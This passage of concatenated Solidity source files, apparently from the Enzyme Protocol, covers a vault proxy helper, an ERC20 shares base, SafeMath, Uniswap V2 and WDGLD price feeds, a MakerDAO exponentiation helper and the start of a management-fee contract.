/// @dev The recommended implementation of the target of a proxy according to EIP-1822 and EIP-1967
/// Code position in storage is `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`,
/// which is "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc".
abstract contract ProxiableVaultLib {
/// @dev Updates the target of the proxy to be the contract at _nextVaultLib
function __updateCodeAddress(address _nextVaultLib) internal {
require(
bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) ==
ProxiableVaultLib(_nextVaultLib).proxiableUUID(),
"__updateCodeAddress: _nextVaultLib not compatible"
);
assembly {
// solium-disable-line
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_nextVaultLib
)
}
}
/// @notice Returns a unique bytes32 hash for VaultLib instances
/// @return uuid_ The bytes32 hash representing the UUID
/// @dev The UUID is `bytes32(keccak256('mln.proxiable.vaultlib'))`
function proxiableUUID() public pure returns (bytes32 uuid_) {
return 0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibSafeMath.sol";
/// @title StandardERC20 Contract
/// @author Enzyme Council <[email protected]>
/// @notice Contains the storage, events, and default logic of an ERC20-compliant contract.
/// @dev The logic can be overridden by VaultLib implementations.
/// Adapted from OpenZeppelin 3.2.0.
/// DO NOT EDIT THIS CONTRACT.
abstract contract SharesTokenBase {
using VaultLibSafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
string internal sharesName;
string internal sharesSymbol;
uint256 internal sharesTotalSupply;
mapping(address => uint256) internal sharesBalances;
mapping(address => mapping(address => uint256)) internal sharesAllowances;
// EXTERNAL FUNCTIONS
/// @dev Standard implementation of ERC20's approve(). Can be overridden.
function approve(address _spender, uint256 _amount) public virtual returns (bool) {
__approve(msg.sender, _spender, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transfer(). Can be overridden.
function transfer(address _recipient, uint256 _amount) public virtual returns (bool) {
__transfer(msg.sender, _recipient, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transferFrom(). Can be overridden.
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual returns (bool) {
__transfer(_sender, _recipient, _amount);
__approve(
_sender,
msg.sender,
sharesAllowances[_sender][msg.sender].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
// EXTERNAL FUNCTIONS - VIEW
/// @dev Standard implementation of ERC20's allowance(). Can be overridden.
function allowance(address _owner, address _spender) public view virtual returns (uint256) {
return sharesAllowances[_owner][_spender];
}
/// @dev Standard implementation of ERC20's balanceOf(). Can be overridden.
function balanceOf(address _account) public view virtual returns (uint256) {
return sharesBalances[_account];
}
/// @dev Standard implementation of ERC20's decimals(). Can not be overridden.
function decimals() public pure returns (uint8) {
return 18;
}
/// @dev Standard implementation of ERC20's name(). Can be overridden.
function name() public view virtual returns (string memory) {
return sharesName;
}
/// @dev Standard implementation of ERC20's symbol(). Can be overridden.
function symbol() public view virtual returns (string memory) {
return sharesSymbol;
}
/// @dev Standard implementation of ERC20's totalSupply(). Can be overridden.
function totalSupply() public view virtual returns (uint256) {
return sharesTotalSupply;
}
// INTERNAL FUNCTIONS
/// @dev Helper for approve(). Can be overridden.
function __approve(
address _owner,
address _spender,
uint256 _amount
) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
sharesAllowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
/// @dev Helper to burn tokens from an account. Can be overridden.
function __burn(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: burn from the zero address");
sharesBalances[_account] = sharesBalances[_account].sub(
_amount,
"ERC20: burn amount exceeds balance"
);
sharesTotalSupply = sharesTotalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/// @dev Helper to mint tokens to an account. Can be overridden.
function __mint(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: mint to the zero address");
sharesTotalSupply = sharesTotalSupply.add(_amount);
sharesBalances[_account] = sharesBalances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/// @dev Helper to transfer tokens between accounts. Can be overridden.
function __transfer(
address _sender,
address _recipient,
uint256 _amount
) internal virtual {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
sharesBalances[_sender] = sharesBalances[_sender].sub(
_amount,
"ERC20: transfer amount exceeds balance"
);
sharesBalances[_recipient] = sharesBalances[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title VaultLibSafeMath library
/// @notice A narrowed, verbatim implementation of OpenZeppelin 3.2.0 SafeMath
/// for use with VaultLib
/// @dev Preferred to importing from npm to guarantee consistent logic and revert reasons
/// between VaultLib implementations
/// DO NOT EDIT THIS CONTRACT
library VaultLibSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "VaultLibSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "VaultLibSafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "VaultLibSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "VaultLibSafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "VaultLibSafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IDerivativePriceFeed.sol";
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
interface IAggregatedDerivativePriceFeed is IDerivativePriceFeed {
function getPriceFeedForDerivative(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/IUniswapV2Pair.sol";
import "../../../../utils/MathHelpers.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../../../value-interpreter/ValueInterpreter.sol";
import "../../primitives/IPrimitivePriceFeed.sol";
import "../../utils/UniswapV2PoolTokenValueCalculator.sol";
import "../IDerivativePriceFeed.sol";
/// @title UniswapV2PoolPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed for Uniswap lending pool tokens
contract UniswapV2PoolPriceFeed is
IDerivativePriceFeed,
DispatcherOwnerMixin,
MathHelpers,
UniswapV2PoolTokenValueCalculator
{
event PoolTokenAdded(address indexed poolToken, address token0, address token1);
struct PoolTokenInfo {
address token0;
address token1;
uint8 token0Decimals;
uint8 token1Decimals;
}
uint256 private constant POOL_TOKEN_UNIT = 10**18;
address private immutable DERIVATIVE_PRICE_FEED;
address private immutable FACTORY;
address private immutable PRIMITIVE_PRICE_FEED;
address private immutable VALUE_INTERPRETER;
mapping(address => PoolTokenInfo) private poolTokenToInfo;
constructor(
address _dispatcher,
address _derivativePriceFeed,
address _primitivePriceFeed,
address _valueInterpreter,
address _factory,
address[] memory _poolTokens
) public DispatcherOwnerMixin(_dispatcher) {
DERIVATIVE_PRICE_FEED = _derivativePriceFeed;
FACTORY = _factory;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
VALUE_INTERPRETER = _valueInterpreter;
__addPoolTokens(_poolTokens, _derivativePriceFeed, _primitivePriceFeed);
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
PoolTokenInfo memory poolTokenInfo = poolTokenToInfo[_derivative];
underlyings_ = new address[](2);
underlyings_[0] = poolTokenInfo.token0;
underlyings_[1] = poolTokenInfo.token1;
// Calculate the amounts underlying one unit of a pool token,
// taking into account the known, trusted rate between the two underlyings
(uint256 token0TrustedRateAmount, uint256 token1TrustedRateAmount) = __calcTrustedRate(
poolTokenInfo.token0,
poolTokenInfo.token1,
poolTokenInfo.token0Decimals,
poolTokenInfo.token1Decimals
);
(
uint256 token0DenormalizedRate,
uint256 token1DenormalizedRate
) = __calcTrustedPoolTokenValue(
FACTORY,
_derivative,
token0TrustedRateAmount,
token1TrustedRateAmount
);
// Define normalized rates for each underlying
underlyingAmounts_ = new uint256[](2);
underlyingAmounts_[0] = _derivativeAmount.mul(token0DenormalizedRate).div(POOL_TOKEN_UNIT);
underlyingAmounts_[1] = _derivativeAmount.mul(token1DenormalizedRate).div(POOL_TOKEN_UNIT);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return poolTokenToInfo[_asset].token0 != address(0);
}
// PRIVATE FUNCTIONS
/// @dev Calculates the trusted rate of two assets based on our price feeds.
/// Uses the decimals-derived unit for whichever asset is used as the quote asset.
function __calcTrustedRate(
address _token0,
address _token1,
uint256 _token0Decimals,
uint256 _token1Decimals
) private returns (uint256 token0RateAmount_, uint256 token1RateAmount_) {
bool rateIsValid;
// The quote asset of the value lookup must be a supported primitive asset,
// so we cycle through the tokens until reaching a primitive.
// If neither is a primitive, will revert at the ValueInterpreter
if (IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_token0)) {
token1RateAmount_ = 10**_token1Decimals;
(token0RateAmount_, rateIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcCanonicalAssetValue(_token1, token1RateAmount_, _token0);
} else {
token0RateAmount_ = 10**_token0Decimals;
(token1RateAmount_, rateIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcCanonicalAssetValue(_token0, token0RateAmount_, _token1);
}
require(rateIsValid, "__calcTrustedRate: Invalid rate");
return (token0RateAmount_, token1RateAmount_);
}
//////////////////////////
// POOL TOKENS REGISTRY //
//////////////////////////
/// @notice Adds Uniswap pool tokens to the price feed
/// @param _poolTokens Uniswap pool tokens to add
function addPoolTokens(address[] calldata _poolTokens) external onlyDispatcherOwner {
require(_poolTokens.length > 0, "addPoolTokens: Empty _poolTokens");
__addPoolTokens(_poolTokens, DERIVATIVE_PRICE_FEED, PRIMITIVE_PRICE_FEED);
}
/// @dev Helper to add Uniswap pool tokens
function __addPoolTokens(
address[] memory _poolTokens,
address _derivativePriceFeed,
address _primitivePriceFeed
) private {
for (uint256 i; i < _poolTokens.length; i++) {
require(_poolTokens[i] != address(0), "__addPoolTokens: Empty poolToken");
require(
poolTokenToInfo[_poolTokens[i]].token0 == address(0),
"__addPoolTokens: Value already set"
);
IUniswapV2Pair uniswapV2Pair = IUniswapV2Pair(_poolTokens[i]);
address token0 = uniswapV2Pair.token0();
address token1 = uniswapV2Pair.token1();
require(
__poolTokenIsSupportable(
_derivativePriceFeed,
_primitivePriceFeed,
token0,
token1
),
"__addPoolTokens: Unsupported pool token"
);
poolTokenToInfo[_poolTokens[i]] = PoolTokenInfo({
token0: token0,
token1: token1,
token0Decimals: ERC20(token0).decimals(),
token1Decimals: ERC20(token1).decimals()
});
emit PoolTokenAdded(_poolTokens[i], token0, token1);
}
}
/// @dev Helper to determine if a pool token is supportable, based on whether price feeds are
/// available for its underlying feeds. At least one of the underlying tokens must be
/// a supported primitive asset, and the other must be a primitive or derivative.
function __poolTokenIsSupportable(
address _derivativePriceFeed,
address _primitivePriceFeed,
address _token0,
address _token1
) private view returns (bool isSupportable_) {
IDerivativePriceFeed derivativePriceFeedContract = IDerivativePriceFeed(
_derivativePriceFeed
);
IPrimitivePriceFeed primitivePriceFeedContract = IPrimitivePriceFeed(_primitivePriceFeed);
if (primitivePriceFeedContract.isSupportedAsset(_token0)) {
if (
primitivePriceFeedContract.isSupportedAsset(_token1) ||
derivativePriceFeedContract.isSupportedAsset(_token1)
) {
return true;
}
} else if (
derivativePriceFeedContract.isSupportedAsset(_token0) &&
primitivePriceFeedContract.isSupportedAsset(_token1)
) {
return true;
}
return false;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DERIVATIVE_PRICE_FEED` variable value
/// @return derivativePriceFeed_ The `DERIVATIVE_PRICE_FEED` variable value
function getDerivativePriceFeed() external view returns (address derivativePriceFeed_) {
return DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `FACTORY` variable value
/// @return factory_ The `FACTORY` variable value
function getFactory() external view returns (address factory_) {
return FACTORY;
}
/// @notice Gets the `PoolTokenInfo` for a given pool token
/// @param _poolToken The pool token for which to get the `PoolTokenInfo`
/// @return poolTokenInfo_ The `PoolTokenInfo` value
function getPoolTokenInfo(address _poolToken)
external
view
returns (PoolTokenInfo memory poolTokenInfo_)
{
return poolTokenToInfo[_poolToken];
}
/// @notice Gets the underlyings for a given pool token
/// @param _poolToken The pool token for which to get its underlyings
/// @return token0_ The UniswapV2Pair.token0 value
/// @return token1_ The UniswapV2Pair.token1 value
function getPoolTokenUnderlyings(address _poolToken)
external
view
returns (address token0_, address token1_)
{
return (poolTokenToInfo[_poolToken].token0, poolTokenToInfo[_poolToken].token1);
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable value
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
/// @notice Gets the `VALUE_INTERPRETER` variable value
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() external view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IUniswapV2Pair Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Uniswap V2's Pair contract
interface IUniswapV2Pair {
function getReserves()
external
view
returns (
uint112,
uint112,
uint32
);
function kLast() external view returns (uint256);
function token0() external view returns (address);
function token1() external view returns (address);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../interfaces/IUniswapV2Factory.sol";
import "../../../interfaces/IUniswapV2Pair.sol";
/// @title UniswapV2PoolTokenValueCalculator Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract contract for computing the value of Uniswap liquidity pool tokens
/// @dev Unless otherwise noted, these functions are adapted to our needs and style guide from
/// an un-merged Uniswap branch:
/// https://github.com/Uniswap/uniswap-v2-periphery/blob/267ba44471f3357071a2fe2573fe4da42d5ad969/contracts/libraries/UniswapV2LiquidityMathLibrary.sol
abstract contract UniswapV2PoolTokenValueCalculator {
using SafeMath for uint256;
uint256 private constant POOL_TOKEN_UNIT = 10**18;
// INTERNAL FUNCTIONS
/// @dev Given a Uniswap pool with token0 and token1 and their trusted rate,
/// returns the value of one pool token unit in terms of token0 and token1.
/// This is the only function used outside of this contract.
function __calcTrustedPoolTokenValue(
address _factory,
address _pair,
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount
) internal view returns (uint256 token0Amount_, uint256 token1Amount_) {
(uint256 reserve0, uint256 reserve1) = __calcReservesAfterArbitrage(
_pair,
_token0TrustedRateAmount,
_token1TrustedRateAmount
);
return __calcPoolTokenValue(_factory, _pair, reserve0, reserve1);
}
// PRIVATE FUNCTIONS
/// @dev Computes liquidity value given all the parameters of the pair
function __calcPoolTokenValue(
address _factory,
address _pair,
uint256 _reserve0,
uint256 _reserve1
) private view returns (uint256 token0Amount_, uint256 token1Amount_) {
IUniswapV2Pair pairContract = IUniswapV2Pair(_pair);
uint256 totalSupply = pairContract.totalSupply();
if (IUniswapV2Factory(_factory).feeTo() != address(0)) {
uint256 kLast = pairContract.kLast();
if (kLast > 0) {
uint256 rootK = __uniswapSqrt(_reserve0.mul(_reserve1));
uint256 rootKLast = __uniswapSqrt(kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 feeLiquidity = numerator.div(denominator);
totalSupply = totalSupply.add(feeLiquidity);
}
}
}
return (
_reserve0.mul(POOL_TOKEN_UNIT).div(totalSupply),
_reserve1.mul(POOL_TOKEN_UNIT).div(totalSupply)
);
}
/// @dev Calculates the direction and magnitude of the profit-maximizing trade
function __calcProfitMaximizingTrade(
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount,
uint256 _reserve0,
uint256 _reserve1
) private pure returns (bool token0ToToken1_, uint256 amountIn_) {
token0ToToken1_ =
_reserve0.mul(_token1TrustedRateAmount).div(_reserve1) < _token0TrustedRateAmount;
uint256 leftSide;
uint256 rightSide;
if (token0ToToken1_) {
leftSide = __uniswapSqrt(
_reserve0.mul(_reserve1).mul(_token0TrustedRateAmount).mul(1000).div(
_token1TrustedRateAmount.mul(997)
)
);
rightSide = _reserve0.mul(1000).div(997);
} else {
leftSide = __uniswapSqrt(
_reserve0.mul(_reserve1).mul(_token1TrustedRateAmount).mul(1000).div(
_token0TrustedRateAmount.mul(997)
)
);
rightSide = _reserve1.mul(1000).div(997);
}
if (leftSide < rightSide) {
return (false, 0);
}
// Calculate the amount that must be sent to move the price to the profit-maximizing price
amountIn_ = leftSide.sub(rightSide);
return (token0ToToken1_, amountIn_);
}
/// @dev Calculates the pool reserves after an arbitrage moves the price to
/// the profit-maximizing rate, given an externally-observed trusted rate
/// between the two pooled assets
function __calcReservesAfterArbitrage(
address _pair,
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount
) private view returns (uint256 reserve0_, uint256 reserve1_) {
(reserve0_, reserve1_, ) = IUniswapV2Pair(_pair).getReserves();
// Skip checking whether the reserve is 0, as this is extremely unlikely given how
// initial pool liquidity is locked, and since we maintain a list of registered pool tokens
// Calculate how much to swap to arb to the trusted price
(bool token0ToToken1, uint256 amountIn) = __calcProfitMaximizingTrade(
_token0TrustedRateAmount,
_token1TrustedRateAmount,
reserve0_,
reserve1_
);
if (amountIn == 0) {
return (reserve0_, reserve1_);
}
// Adjust the reserves to account for the arb trade to the trusted price
if (token0ToToken1) {
uint256 amountOut = __uniswapV2GetAmountOut(amountIn, reserve0_, reserve1_);
reserve0_ = reserve0_.add(amountIn);
reserve1_ = reserve1_.sub(amountOut);
} else {
uint256 amountOut = __uniswapV2GetAmountOut(amountIn, reserve1_, reserve0_);
reserve1_ = reserve1_.add(amountIn);
reserve0_ = reserve0_.sub(amountOut);
}
return (reserve0_, reserve1_);
}
/// @dev Uniswap square root function. See:
/// https://github.com/Uniswap/uniswap-lib/blob/6ddfedd5716ba85b905bf34d7f1f3c659101a1bc/contracts/libraries/Babylonian.sol
function __uniswapSqrt(uint256 _y) private pure returns (uint256 z_) {
if (_y > 3) {
z_ = _y;
uint256 x = _y / 2 + 1;
while (x < z_) {
z_ = x;
x = (_y / x + x) / 2;
}
} else if (_y != 0) {
z_ = 1;
}
// else z_ = 0
return z_;
}
/// @dev Simplified version of UniswapV2Library's getAmountOut() function. See:
/// https://github.com/Uniswap/uniswap-v2-periphery/blob/87edfdcaf49ccc52591502993db4c8c08ea9eec0/contracts/libraries/UniswapV2Library.sol#L42-L50
function __uniswapV2GetAmountOut(
uint256 _amountIn,
uint256 _reserveIn,
uint256 _reserveOut
) private pure returns (uint256 amountOut_) {
uint256 amountInWithFee = _amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(_reserveOut);
uint256 denominator = _reserveIn.mul(1000).add(amountInWithFee);
return numerator.div(denominator);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IUniswapV2Factory Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Uniswap V2's Factory contract
interface IUniswapV2Factory {
function feeTo() external view returns (address);
function getPair(address, address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IChainlinkAggregator.sol";
import "../../../../utils/MakerDaoMath.sol";
import "../IDerivativePriceFeed.sol";
/// @title WdgldPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for WDGLD <https://dgld.ch/>
contract WdgldPriceFeed is IDerivativePriceFeed, MakerDaoMath {
using SafeMath for uint256;
address private immutable XAU_AGGREGATOR;
address private immutable ETH_AGGREGATOR;
address private immutable WDGLD;
address private immutable WETH;
// GTR_CONSTANT aggregates all the invariants in the GTR formula to save gas
uint256 private constant GTR_CONSTANT = 999990821653213975346065101;
uint256 private constant GTR_PRECISION = 10**27;
uint256 private constant WDGLD_GENESIS_TIMESTAMP = 1568700000;
constructor(
address _wdgld,
address _weth,
address _ethAggregator,
address _xauAggregator
) public {
WDGLD = _wdgld;
WETH = _weth;
ETH_AGGREGATOR = _ethAggregator;
XAU_AGGREGATOR = _xauAggregator;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only WDGLD is supported");
underlyings_ = new address[](1);
underlyings_[0] = WETH;
underlyingAmounts_ = new uint256[](1);
// Get price rates from xau and eth aggregators
int256 xauToUsdRate = IChainlinkAggregator(XAU_AGGREGATOR).latestAnswer();
int256 ethToUsdRate = IChainlinkAggregator(ETH_AGGREGATOR).latestAnswer();
require(xauToUsdRate > 0 && ethToUsdRate > 0, "calcUnderlyingValues: rate invalid");
uint256 wdgldToXauRate = calcWdgldToXauRate();
// 10**17 is a combination of ETH_UNIT / WDGLD_UNIT * GTR_PRECISION
underlyingAmounts_[0] = _derivativeAmount
.mul(wdgldToXauRate)
.mul(uint256(xauToUsdRate))
.div(uint256(ethToUsdRate))
.div(10**17);
return (underlyings_, underlyingAmounts_);
}
/// @notice Calculates the rate of WDGLD to XAU.
/// @return wdgldToXauRate_ The current rate of WDGLD to XAU
/// @dev Full formula available <https://dgld.ch/assets/documents/dgld-whitepaper.pdf>
function calcWdgldToXauRate() public view returns (uint256 wdgldToXauRate_) {
return
__rpow(
GTR_CONSTANT,
((block.timestamp).sub(WDGLD_GENESIS_TIMESTAMP)).div(28800), // 60 * 60 * 8 (8 hour periods)
GTR_PRECISION
)
.div(10);
}
/// @notice Checks if an asset is supported by this price feed
/// @param _asset The asset to check
/// @return isSupported_ True if supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == WDGLD;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ETH_AGGREGATOR` address
/// @return ethAggregatorAddress_ The `ETH_AGGREGATOR` address
function getEthAggregator() external view returns (address ethAggregatorAddress_) {
return ETH_AGGREGATOR;
}
/// @notice Gets the `WDGLD` token address
/// @return wdgld_ The `WDGLD` token address
function getWdgld() external view returns (address wdgld_) {
return WDGLD;
}
/// @notice Gets the `WETH` token address
/// @return weth_ The `WETH` token address
function getWeth() external view returns (address weth_) {
return WETH;
}
/// @notice Gets the `XAU_AGGREGATOR` address
/// @return xauAggregatorAddress_ The `XAU_AGGREGATOR` address
function getXauAggregator() external view returns (address xauAggregatorAddress_) {
return XAU_AGGREGATOR;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IChainlinkAggregator Interface
/// @author Enzyme Council <[email protected]>
interface IChainlinkAggregator {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
/// @title MakerDaoMath Contract
/// @author Enzyme Council <[email protected]>
/// @notice Helper functions for math operations adapted from MakerDao contracts
abstract contract MakerDaoMath {
/// @dev Performs scaled, fixed-point exponentiation.
/// Verbatim code, adapted to our style guide for variable naming only, see:
/// https://github.com/makerdao/dss/blob/master/src/pot.sol#L83-L105
// prettier-ignore
function __rpow(uint256 _x, uint256 _n, uint256 _base) internal pure returns (uint256 z_) {
assembly {
switch _x case 0 {switch _n case 0 {z_ := _base} default {z_ := 0}}
default {
switch mod(_n, 2) case 0 { z_ := _base } default { z_ := _x }
let half := div(_base, 2)
for { _n := div(_n, 2) } _n { _n := div(_n,2) } {
let xx := mul(_x, _x)
if iszero(eq(div(xx, _x), _x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
_x := div(xxRound, _base)
if mod(_n,2) {
let zx := mul(z_, _x)
if and(iszero(iszero(_x)), iszero(eq(div(zx, _x), z_))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z_ := div(zxRound, _base)
}
}
}
}
return z_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../core/fund/vault/VaultLib.sol";
import "../../../utils/MakerDaoMath.sol";
import "./utils/FeeBase.sol";
/// @title ManagementFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice A management fee with a configurable annual rate
contract ManagementFee is FeeBase, MakerDaoMath {
using SafeMath for uint256;
event FundSettingsAdded(address indexed comptrollerProxy, uint256 scaledPerSecondRate);
event Settled(
address indexed comptrollerProxy,
uint256 sharesQuantity,
uint256 secondsSinceSettlement
);
struct FeeInfo {
uint256 scaledPerSecondRate;
uint256 lastSettled;
}
uint256 private constant RATE_SCALE_BASE = 10**27;
mapping(address => FeeInfo) private comptrollerProxyToFeeInfo;
constructor(address _feeManager) public FeeBase(_feeManager) {}
// EXTERNAL FUNCTIONS
/// @notice Activates the fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyFeeManager
{
// It is only necessary to set `lastSettled` for a migrated fund
if (VaultLib(_vaultProxy).totalSupply() > 0) {
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSettled = block.timestamp;
}
}
/// @notice Add the initial fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the fee for a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
uint256 scaledPerSecondRate = abi.decode(_settingsData, (uint256));
require(
scaledPerSecondRate > 0,
"addFundSettings: scaledPerSecondRate must be greater than 0"
);
comptrollerProxyToFeeInfo[_comptrollerProxy] = FeeInfo({
scaledPerSecondRate: scaledPerSecondRate,
lastSettled: 0
});
emit FundSettingsAdded(_comptrollerProxy, scaledPerSecondRate);
}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "MANAGEMENT";
}
/// @notice Gets the hooks that are implemented by the fee
